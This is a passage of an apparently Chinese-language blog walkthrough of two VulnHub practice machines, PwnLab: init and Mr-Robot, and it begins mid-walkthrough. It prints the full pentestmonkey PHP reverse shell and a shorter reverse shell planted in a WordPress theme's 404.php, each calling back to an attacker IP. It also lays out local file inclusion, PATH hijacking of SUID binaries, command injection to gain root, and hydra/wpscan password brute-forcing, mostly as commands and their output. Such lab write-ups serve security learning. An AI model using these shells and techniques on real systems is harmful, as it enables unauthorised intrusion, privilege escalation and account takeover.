// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.18.182'; // CHANGE THIS
$port = 4444; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
雖然上傳了,但到圖片的網址:
依然無法get shell,這時看一下config.php:
http://192.168.18.183/?page=php://filter/convert.base64-encode/resource=index
原始碼:
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
if (isset($_GET['page']))
{
include($_GET['page'].".php");
}
else
{
echo "Use this server to upload and share image files inside the intranet";
}
?>
</center>
</body>
</html>
需要edit cookie,要編輯lang那裡,使用curl工具編輯:
┌──(kali㉿kali)-[/usr/share/webshells/php]
└─$ curl -v --cookie "lang=../upload/f7e80460bbcf87fef90b1e428c6a0a56.png" http://192.168.18.183/index.php
* Trying 192.168.18.183:80...
* Connected to 192.168.18.183 (192.168.18.183) port 80 (#0)
> GET /index.php HTTP/1.1
> Host: 192.168.18.183
> User-Agent: curl/7.84.0
> Accept: */*
> Cookie: lang=../upload/f7e80460bbcf87fef90b1e428c6a0a56.png
>
成功get shell:
┌──(kali㉿kali)-[/usr/share/webshells/php]
└─$ nc -lvp 4444
listening on [any] 4444 ...
192.168.18.183: inverse host lookup failed: Unknown host
connect to [192.168.18.182] from (UNKNOWN) [192.168.18.183] 56028
Linux pwnlab 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt20-1+deb8u4 (2016-02-29) i686 GNU/Linux
10:20:59 up 5:39, 0 users, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@pwnlab:/$
用剛剛得到的帳密來逐一切換使用者,每切換一次就用一次linpeas.sh
,查看是否有可利用的提權。切到kane時:
www-data@pwnlab:/tmp$ su kane
su kane
Password: iSv5Ym2GRo
kane@pwnlab:/tmp$ ls -al
ls -al
total 1356
drwxrwxrwt 7 root root 4096 Dec 10 11:39 .
drwxr-xr-x 21 root root 4096 Mar 17 2016 ..
-rw-r--r-- 1 www-data www-data 147181 Dec 10 09:36 351e1d69446ce2d6f2caf508614be3aa.jpeg
-rw-r--r-- 1 www-data www-data 423853 Dec 10 09:06 44f84a69b87e45d16477892c391c7aeb.jpg
-rw-r--r-- 1 www-data www-data 5500 Dec 10 10:18 f7e80460bbcf87fef90b1e428c6a0a56.png
drwxrwxrwt 2 root root 4096 Dec 10 04:42 .font-unix
drwxrwxrwt 2 root root 4096 Dec 10 04:42 .ICE-unix
-rwxrwxrwx 1 www-data www-data 776167 Dec 4 02:49 linpeas.sh
drwxrwxrwt 2 root root 4096 Dec 10 04:42 .Test-unix
drwxrwxrwt 2 root root 4096 Dec 10 04:42 .X11-unix
drwxrwxrwt 2 root root 4096 Dec 10 04:42 .XIM-unix
要執行linpeas時,要先從攻擊機下載下來,詳情可看這一篇: MR-ROBOT: 1 Walkthrough。
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid
strace Not Found
-rwsr-xr-x 1 root root 34K Mar 29 2015 /bin/mount ---> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root root 38K Nov 19 2015 /bin/su
-rwsr-xr-x 1 root root 26K Mar 29 2015 /bin/umount ---> BSD/Linux(08-1996)
-rwsr-xr-x 1 root root 95K Aug 13 2014 /sbin/mount.nfs
-rwsr-sr-x 1 mike mike 5.1K Mar 17 2016 /home/kane/msgmike (Unknown SUID binary)
-rwsr-xr-x 1 root root 38K Nov 19 2015 /usr/bin/newgrp ---> HP-UX_10.20
-rwsr-xr-x 1 root root 52K Nov 19 2015 /usr/bin/chfn ---> SuSE_9.3/10
-rwsr-sr-x 1 daemon daemon 50K Sep 30 2014 /usr/bin/at ---> RTru64_UNIX_4.0g(CVE-2002-1614)
-rwsr-xr-x 1 root root 52K Nov 19 2015 /usr/bin/passwd ---> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-sr-x 1 root mail 94K Feb 11 2015 /usr/bin/procmail
-rwsr-xr-x 1 root root 43K Nov 19 2015 /usr/bin/chsh
-rwsr-xr-x 1 root root 77K Nov 19 2015 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 5.3K Feb 24 2014 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 9.4K Feb 11 2016 /usr/lib/pt_chown ---> GNU_glibc_2.1/2.1.1_-6(08-1999)
-rwsr-xr-- 1 root messagebus 355K Aug 2 2015 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 550K Jan 13 2016 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 1.1M Mar 13 2016 /usr/sbin/exim4
╔══════════╣ SGID
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid
-rwxr-sr-x 1 root shadow 34K Jan 9 2016 /sbin/unix_chkpwd
-rwsr-sr-x 1 mike mike 5.1K Mar 17 2016 /home/kane/msgmike (Unknown SGID binary)
-rwxr-sr-x 1 root ssh 410K Jan 13 2016 /usr/bin/ssh-agent
-rwxr-sr-x 1 root tty 9.5K Oct 17 2014 /usr/bin/bsd-write
-rwxr-sr-x 1 root mail 14K Jun 2 2013 /usr/bin/dotlockfile
-rwsr-sr-x 1 daemon daemon 50K Sep 30 2014 /usr/bin/at ---> RTru64_UNIX_4.0g(CVE-2002-1614)
-rwxr-sr-x 1 root mail 18K Feb 11 2015 /usr/bin/lockfile
-rwxr-sr-x 1 root crontab 38K Jun 7 2015 /usr/bin/crontab
-rwxr-sr-x 1 root shadow 60K Nov 19 2015 /usr/bin/chage
-rwxr-sr-x 1 root mlocate 32K Jun 13 2013 /usr/bin/mlocate
-rwxr-sr-x 1 root shadow 22K Nov 19 2015 /usr/bin/expiry
-rwsr-sr-x 1 root mail 94K Feb 11 2015 /usr/bin/procmail
-rwxr-sr-x 1 root tty 26K Mar 29 2015 /usr/bin/wall
-rwxr-sr-x 1 root mail 9.6K Dec 4 2014 /usr/bin/mutt_dotlock
可以發現SGID裡特別標出了一個msgmike是Unknown SGID binary,可以來調查一下。
kane@pwnlab:/tmp$ cd /home/kane
cd /home/kane
kane@pwnlab:~$ ls -al
ls -al
total 32
drwxr-x--- 3 kane kane 4096 Dec 10 11:41 .
drwxr-xr-x 6 root root 4096 Mar 17 2016 ..
-rw-r--r-- 1 kane kane 220 Mar 17 2016 .bash_logout
-rw-r--r-- 1 kane kane 3515 Mar 17 2016 .bashrc
drwx------ 2 kane kane 4096 Dec 10 11:41 .gnupg
-rwsr-sr-x 1 mike mike 5148 Mar 17 2016 msgmike
-rw-r--r-- 1 kane kane 675 Mar 17 2016 .profile
kane@pwnlab:~$ file msgmike
file msgmike
msgmike: setuid, setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d7e0b21f33b2134bd17467c3bb9be37deb88b365, not stripped
執行看看:
kane@pwnlab:~$ ./msgmike
./msgmike
cat: /home/mike/msg.txt: No such file or directory
看的出來這其實是在執行cat指令,執行的是
cat /home/mike/msg.txt
接下來的操作很騷,輸入的指令如下:
kane@pwnlab:~$ cd /tmp
cd /tmp
kane@pwnlab:/tmp$ touch cat
touch cat
kane@pwnlab:/tmp$ echo /bin/sh > cat
echo /bin/sh > cat
kane@pwnlab:/tmp$ chmod +x cat
chmod +x cat
kane@pwnlab:/tmp$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
kane@pwnlab:/tmp$ cd /home/kane
cd /home/kane
kane@pwnlab:~$ ls -al
ls -al
total 32
drwxr-x--- 3 kane kane 4096 Dec 10 11:41 .
drwxr-xr-x 6 root root 4096 Mar 17 2016 ..
-rw-r--r-- 1 kane kane 220 Mar 17 2016 .bash_logout
-rw-r--r-- 1 kane kane 3515 Mar 17 2016 .bashrc
drwx------ 2 kane kane 4096 Dec 10 11:41 .gnupg
-rwsr-sr-x 1 mike mike 5148 Mar 17 2016 msgmike
-rw-r--r-- 1 kane kane 675 Mar 17 2016 .profile
kane@pwnlab:~$ ./msgmike
./msgmike
$
簡單來說,既然執行的是cat指令,那就乾脆自己新增一個名叫cat的指令,但其實這個指令是/bin/sh
,也就是執行的意思。步驟是先創建一個名叫cat的文件: touch cat
,接下來用echo把/bin/sh
給寫進去,接下來用chmod +x
把這文件變成一個可執行的命令,接下來會輸入export PATH=/tmp:$PATH
,是因為剛剛所有舉動都是在資料夾/tmp裡做的,如果想不加上路徑就執行這個資料夾裡的執行檔,就得加這一行。
$ python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
mike@pwnlab:~$ id
id
uid=1002(mike) gid=1002(mike) groups=1002(mike),1003(kane)
執行msgmike
後首先穩定shell,再查查自己是誰。發現自己是mike,乾脆切到mike目錄:
mike@pwnlab:~$ pwd
pwd
/home/kane
mike@pwnlab:~$ cd /home/mike
cd /home/mike
mike@pwnlab:/home/mike$ ls -al
ls -al
total 28
drwxr-x--- 2 mike mike 4096 Mar 17 2016 .
drwxr-xr-x 6 root root 4096 Mar 17 2016 ..
-rw-r--r-- 1 mike mike 220 Mar 17 2016 .bash_logout
-rw-r--r-- 1 mike mike 3515 Mar 17 2016 .bashrc
-rwsr-sr-x 1 root root 5364 Mar 17 2016 msg2root
-rw-r--r-- 1 mike mike 675 Mar 17 2016 .profile
用了ls -al
後,發現有一個root權限的msgroot,執行看看:
mike@pwnlab:/home/mike$ ./msg2root
./msg2root
Message for root:
執行看看,發現是可以讓人下指令的執行檔
mike@pwnlab:/home/mike$ ./msg2root
./msg2root
Message for root: `id`
`id`
uid=1002(mike) gid=1002(mike) euid=0(root) egid=0(root) groups=0(root),1003(kane)
aaa但輸入config裡調查到的root帳密,卻沒有用:
mike@pwnlab:/home/mike$ ./msg2root
./msg2root
Message for root: `su -`
`su -`
Password: H4u%QJ_H99
su: Authentication failure
不過可以看到root的資料夾有一些有趣的東西:
mike@pwnlab:/home/mike$ ./msg2root
./msg2root
Message for root: `ls /root`
`ls /root`
flag.txt messages.txt
aaa應該要用linux命令strings
來分析msg2root,不過這裡省略分析的步驟:
mike@pwnlab:/home/mike$ ./msg2root
./msg2root
Message for root: hello && /bin/sh
hello && /bin/sh
hello
# id
id
uid=1002(mike) gid=1002(mike) euid=0(root) egid=0(root) groups=0(root),1003(kane)
# /bin/cat /root/flag.txt
/bin/cat /root/flag.txt
.-=~=-. .-=~=-.
(__ _)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(__ _)
(_ ___) _____ _ (_ ___)
(__ _) / __ \ | | (__ _)
( _ __) | / \/ ___ _ __ __ _ _ __ __ _| |_ ___ ( _ __)
(__ _) | | / _ \| '_ \ / _` | '__/ _` | __/ __| (__ _)
(_ ___) | \__/\ (_) | | | | (_| | | | (_| | |_\__ \ (_ ___)
(__ _) \____/\___/|_| |_|\__, |_| \__,_|\__|___/ (__ _)
( _ __) __/ | ( _ __)
(__ _) |___/ (__ _)
(__ _) (__ _)
(_ ___) If you are reading this, means that you have break 'init' (_ ___)
( _ __) Pwnlab. I hope you enjoyed and thanks for your time doing ( _ __)
(__ _) this challenge. (__ _)
(_ ___) (_ ___)
( _ __) Please send me your feedback or your writeup, I will love ( _ __)
(__ _) reading it (__ _)
(__ _) (__ _)
(__ _) For sniferl4bs.com (__ _)
( _ __) claor@PwnLab.net - @Chronicoder ( _ __)
(__ _) (__ _)
(_ ___)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(_ ___)
`-._.-' `-._.-'
Vulnhub x PwnLab: init
pwnlab-init靶机测试笔记 - 总得前行 - 博客园
PwnLab: Init — Walkthrough
No.18-VulnHub-PwnLab: init-Walkthrough渗透学习
的Base64解碼 - 網上的Base64解碼器
GitHub - SewellDinG/LFIboomCTF: 📖本地文件包含漏洞实践源码及相应协议利用指南
[網站安全漏洞] 4 Command injection 指令注入 » 資安這條路
GitHub - payloadbox/command-injection-payload-list: 🎯 Command Injection Payload List
使用字符串命令 (Using the strings Command)
首先要用virtual box匯入mrRobot.ova
。
┌──(kali㉿kali)-[~]
└─$ nmap -sP 192.168.44.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-03 02:34 EST
Nmap scan report for 192.168.44.2
Host is up (0.00084s latency).
Nmap scan report for 192.168.44.235
Host is up (0.00011s latency).
Nmap scan report for 192.168.44.236
Host is up (0.00042s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 2.68 seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sS -sV -T4 -A -p- 192.168.44.236
[sudo] password for kali:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-03 02:37 EST
Nmap scan report for 192.168.44.236
Host is up (0.00060s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache
443/tcp open ssl/http Apache httpd
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after: 2025-09-13T10:45:03
|_http-server-header: Apache
MAC Address: 00:0C:29:D7:BD:EF (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.60 ms 192.168.44.236
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 104.30 seconds
根據偵查結果,可知192.168.44.236
已開啟port 22, 80, 443,先看80 port的網頁:
雖然很炫,不過看不出來有什麼可以利用的,所以先爆破目錄:
┌──(kali㉿DESKTOP-NRNV04H)-[~]
└─$ gobuster dir -u http://192.168.44.236 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,bak
ld,zip,gz,conf,cnf,js===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.44.236
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Extensions: php,txt,bak
[+] Timeout: 10s
===============================================================
2022/12/03 15:55:21 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 237] [--> http://192.168.44.236/images/]
/index.php (Status: 301) [Size: 0] [--> http://192.168.44.236/]
/blog (Status: 301) [Size: 235] [--> http://192.168.44.236/blog/]
/rss (Status: 301) [Size: 0] [--> http://192.168.44.236/feed/]
/sitemap (Status: 200) [Size: 0]
/login (Status: 302) [Size: 0] [--> http://192.168.44.236/wp-login.php]
/0 (Status: 301) [Size: 0] [--> http://192.168.44.236/0/]
/feed (Status: 301) [Size: 0] [--> http://192.168.44.236/feed/]
/video (Status: 301) [Size: 236] [--> http://192.168.44.236/video/]
/image (Status: 301) [Size: 0] [--> http://192.168.44.236/image/]
/atom (Status: 301) [Size: 0] [--> http://192.168.44.236/feed/atom/]
/wp-content (Status: 301) [Size: 241] [--> http://192.168.44.236/wp-content/]
/admin (Status: 301) [Size: 236] [--> http://192.168.44.236/admin/]
/audio (Status: 301) [Size: 236] [--> http://192.168.44.236/audio/]
/intro (Status: 200) [Size: 516314]
/wp-login.php (Status: 200) [Size: 2696]
/wp-login (Status: 200) [Size: 2754]
/css (Status: 301) [Size: 234] [--> http://192.168.44.236/css/]
/rss2 (Status: 301) [Size: 0] [--> http://192.168.44.236/feed/]
/license (Status: 200) [Size: 19930]
/license.txt (Status: 200) [Size: 19930]
/wp-includes (Status: 301) [Size: 242] [--> http://192.168.44.236/wp-includes/]
/js (Status: 301) [Size: 233] [--> http://192.168.44.236/js/]
/wp-register.php (Status: 301) [Size: 0] [--> http://192.168.44.236/wp-login.php?action=register]
/Image (Status: 301) [Size: 0] [--> http://192.168.44.236/Image/]
/wp-rss2.php (Status: 301) [Size: 0] [--> http://192.168.44.236/feed/]
/rdf (Status: 301) [Size: 0] [--> http://192.168.44.236/feed/rdf/]
/page1 (Status: 301) [Size: 0] [--> http://192.168.44.236/]
/readme (Status: 200) [Size: 7334]
/robots (Status: 200) [Size: 41]
/robots.txt (Status: 200) [Size: 41]
/dashboard (Status: 302) [Size: 0] [--> http://192.168.44.236/wp-admin/]
/%20 (Status: 301) [Size: 0] [--> http://192.168.44.236/]
看看robots.txt:
User-agent: *
fsocity.dic
key-1-of-3.txt
在網址列的236斜線後面貼上fsocity.dic
跟key-1-of-3.txt
就可以下載下來。
fsocity.dic裡有一大堆英文單字,大概是字典檔。
key-1-of-3.txt:
073403c8a58a1f80d943455fb30724b9
上面也有掃到wp-login.php:
這字典檔還是挺大的,應是有許多重複,所以用uniq來減少重複。
┌──(kali㉿kali)-[~/target_machine/mr.robot]
└─$ sort fsocity.dic | uniq > dic.txt
可以使用這字典檔來猜使用者帳戶跟密碼,用hydra的話如下:
┌──(kali㉿DESKTOP-NRNV04H)-[~/target_machine/mrRobot]
└─$ hydra -L /home/kali/target_machine/mrRobot/dic.txt -P /home/kali/target_machine/mrRobot/dic.txt -t 10 -f 192.168.44.236 http-form-post "/wp-login.php:log=^USER^&pwd=^PASS^:login_error"
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-03 18:46:35
[DATA] max 10 tasks per 1 server, overall 10 tasks, 131148304 login tries (l:11452/p:11452), ~13114831 tries per task
[DATA] attacking http-post-form://192.168.44.236:80/wp-login.php:log=^USER^&pwd=^PASS^:login_error
[STATUS] 1916.00 tries/min, 1916 tries in 00:01h, 131146388 to do in 1140:49h, 10 active
[STATUS] 1856.00 tries/min, 5568 tries in 00:03h, 131142736 to do in 1177:39h, 10 active
[ERROR] Can not create restore file (./hydra.restore) - Permission denied
[STATUS] 1625.57 tries/min, 11379 tries in 00:07h, 131136925 to do in 1344:32h, 10 active
[STATUS] 1041.33 tries/min, 15620 tries in 00:15h, 131132684 to do in 2098:48h, 10 active
[STATUS] 505.32 tries/min, 15665 tries in 00:31h, 131132639 to do in 4325:03h, 10 active
[STATUS] 333.96 tries/min, 15696 tries in 00:47h, 131132608 to do in 6544:23h, 10 active
[80][http-post-form] host: 192.168.44.236 login: 000000 password: cancer
[STATUS] attack finished for 192.168.44.236 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-03 19:48:24
來仔細分析sudo hydra -L /home/kali/target_machine/mrRobot/dic.txt -P /home/kali/target_machine/mrRobot/dic.txt -t 50 -f 192.168.18.181 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:login_error"
這條指令。
首先,-L
跟-P
沒什麼好說,後面就是接字典檔路徑。-t
跟-f
也沒什麼好說,一個是速度,一個是要掃的網域。接下來的http-post-form
就是對http用post方法,會用post方法的原因可以看下圖:
在登錄頁面先按F12,出現上圖畫面。如果在登錄時隨便輸aaa當帳密,可以從上圖發現其實是用了POST方法。
好,那接下來的""
裡面的內容,/wp-login.php
應該不用說,問題是log
、pwd
跟login_error
怎麼來的。看一下登入頁面的原始碼:
看到紅圈圈,就是理由。
不過超慢,超級慢。慢的原因很好想: 每一個帳號都要對每一個密碼做驗證,現在帳號密碼都用同一個字典檔,假設檔案裡有n筆資料,那麼時間複雜度就是$\mathcal{O}(n^2)$。看看上面用hydra的那一段,總共有9位數的資料要試,一分鐘只能處理2千多筆,要處理到什麼時候?
所以應該兩件事分開做,先確定哪些帳號是正確的,再用正確的帳號去做密碼爆破。
如何確定帳號是正確的? 用下面一小段python code去登入帳號:
import requests
open_file = open('dic.txt', 'r')
temp = open_file.read().splitlines()
count = 0
for username in temp:
payload = {'log': '{0}'.format(username), 'pwd': 'dummy'}
headers = {'Content-Type' : 'application/x-www-form-urlencoded'}
cookies = dict(wordpress_test_cookie='WP+Cookie+check')
r = requests.post("http://192.168.18.181/wp-login.php", data=payload, headers=headers, cookies=cookies)
if "Invalid username" not in r.text:
print username
open裡是字典檔,requests.post裡面的參數是登入頁面網址(要如何寫出這程式?),記得用第2版python執行:
└─$ python2 account2.py
elliot
Elliot
ELLIOT
知道這一些帳號後,再用wpscan來一個一個對帳號做密碼爆破。先對第一個elliot
爆破。
┌──(kali㉿DESKTOP-NRNV04H)-[~]
└─$ sudo wpscan --url 192.168.18.181 -U elliot -P /home/kali/target_machine/mrRobot/dic.txt --disable-tls-checks -t 20
[sudo] password for kali:
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://192.168.18.181/ [192.168.18.181]
[+] Started: Sun Dec 4 12:05:53 2022
Interesting Finding(s):
[+] Headers
| Interesting Entries:
| - Server: Apache
| - X-Mod-Pagespeed: 1.9.32.3-4523
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] robots.txt found: http://192.168.18.181/robots.txt
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://192.168.18.181/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://192.168.18.181/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://192.168.18.181/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 4.3.30 identified (Outdated, released on 0001-01-01).
| Found By: Emoji Settings (Passive Detection)
| - http://192.168.18.181/689d322.html, Match: '-release.min.js?ver=4.3.30'
| Confirmed By: Meta Generator (Passive Detection)
| - http://192.168.18.181/689d322.html, Match: 'WordPress 4.3.30'
[+] WordPress theme in use: twentyfifteen
| Location: http://192.168.18.181/wp-content/themes/twentyfifteen/
| Last Updated: 2022-11-02T00:00:00.000Z
| Readme: http://192.168.18.181/wp-content/themes/twentyfifteen/readme.txt
| [!] The version is out of date, the latest version is 3.3
| Style URL: http://192.168.18.181/wp-content/themes/twentyfifteen/style.css?ver=4.3.30
| Style Name: Twenty Fifteen
| Style URI: https://wordpress.org/themes/twentyfifteen/
| Description: Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty Fifteen's simple, st...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In 404 Page (Passive Detection)
|
| Version: 1.3 (80% confidence)
| Found By: Style (Passive Detection)
| - http://192.168.18.181/wp-content/themes/twentyfifteen/style.css?ver=4.3.30, Match: 'Version: 1.3'
[+] Enumerating All Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:08 <=========================================> (137 / 137) 100.00% Time: 00:00:08
[i] No Config Backups Found.
[+] Performing password attack on Xmlrpc Multicall against 1 user/s
[SUCCESS] - elliot / ER28-0652
All Found
Progress Time: 00:02:22 <================================= > (12 / 22) 54.54% ETA: ??:??:??
[!] Valid Combinations Found:
| Username: elliot, Password: ER28-0652
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Sun Dec 4 12:08:29 2022
[+] Requests Done: 152
[+] Cached Requests: 38
[+] Data Sent: 39.905 KB
[+] Data Received: 1.282 MB
[+] Memory used: 279.648 MB
[+] Elapsed time: 00:02:36
可以看到:
[!] Valid Combinations Found:
| Username: elliot, Password: ER28-0652
登入:
之前vulnhub的靶機stapler,是把reverse shell的php加在plugin來實現get shell:
再點紅圈:
再點紅圈:
可是上傳上去的php無法訪問:
所以這一次靶機要用布景主題編輯,來嵌入reverse shell:
點選404.php來編輯:
直接把整個reverse shell php程式碼放在404.php
的最下面:
以下是與之前不同的reverse shell php:
<?php
$sock=fsockopen('攻擊機IP',攻擊機監聽埠);
$descriptorspec=array(
0=>$sock,
1=>$sock,
2=>$sock
);
$process=proc_open('/bin/bash',$descriptorspec,$pipes);
proc_close($process);
echo phpinfo();
?>
網址列存取http://192.168.18.181/wp-admin/404.php
。
注意在access網頁之前,需監聽埠:
┌──(kali㉿kali)-[~]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.18.182] from (UNKNOWN) [192.168.18.181] 42090
python -c 'import pty;pty.spawn("/bin/bash")'
daemon@linux:/opt/bitnami/apps/wordpress/htdocs$
查看/etc/passwd
來得知使用者:
daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
